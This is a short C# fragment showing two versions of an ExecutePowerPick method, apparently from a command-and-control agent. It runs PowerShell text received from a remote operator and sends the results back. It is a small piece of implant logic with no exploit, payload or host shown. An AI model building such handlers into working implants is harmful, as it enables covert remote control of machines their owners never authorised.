private void ExecutePowerPick(byte[] data) { try { var split = Encoding.UTF8.GetString(data).Split(' '); var args = string.Format("{0} {1}", split[0], string.Join(" ", split).Replace(split[0], "")); var runner = new PowerShellRunner(); var result = runner.InvokePS(args); Agent.SendOutput(result); } catch (Exception e) { Agent.SendError(e.Message); } }
private void ExecutePowerPick(byte[] data) { try { using (var runner = new PowerShellRunner()) { var result = runner.InvokePS(Encoding.UTF8.GetString(data)); if (!string.IsNullOrEmpty(result)) { Agent.SendOutput(result); } } } catch (Exception e) { Agent.SendError(e.Message); } }